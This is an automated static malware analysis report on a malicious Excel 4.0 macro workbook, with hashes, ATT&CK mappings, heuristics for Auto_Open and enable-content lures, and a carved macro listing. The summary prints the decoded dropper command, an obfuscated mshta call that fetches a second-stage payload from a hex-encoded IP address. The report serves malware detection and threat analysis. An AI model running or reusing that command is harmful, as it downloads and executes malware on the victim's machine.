Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 4167b3f2037a6bd2…

MALICIOUS

Office (OLE) / .XLS

64.8 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 4cee3f544563c381bebae86f715994f0 SHA-1: fbc273976854eec8a1236d1642ab193a331f5c05 SHA-256: 4167b3f2037a6bd2913be3a25297dd8039818611ee25a489324db29403b6cdeb
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.005 Service Execution: Visual Basic

The sample is an Excel 4.0 macro sheet with an Auto_Open macro. It contains a lure to enable content, which is a common tactic for macro-based malware. The extracted macro defines a string that reconstructs to 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', indicating it will execute a command to download a second-stage payload from the specified URL. The reconstructed URL is http://0xc12a24f5/cc.html.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes